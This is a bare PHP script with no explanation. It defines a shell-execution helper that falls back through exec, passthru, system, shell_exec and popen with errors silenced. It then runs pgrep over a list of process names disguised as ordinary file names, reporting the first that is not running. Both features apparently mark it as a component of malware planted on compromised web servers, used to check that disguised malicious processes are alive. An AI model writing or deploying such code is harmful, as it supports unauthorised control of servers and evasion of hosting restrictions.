<?php   $files = ['action.importxml','class.resolution','db_access','april4videos','ts.processor','Translate','cache_faqs','view.feed','form_test','CYEC07_1winners','mysqli.dbi.lib','LinkField.class','application.js','load_city','Wordwrapper','mygrouppermform','referral_view','edithtmlblob','payments_request','layout.css','parle_tokens','sais_inv_step1','testingheader','flickrrss','mod_rsform','bannerclient','restore_bb','global.func','newVacancie','customer_rec']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; } 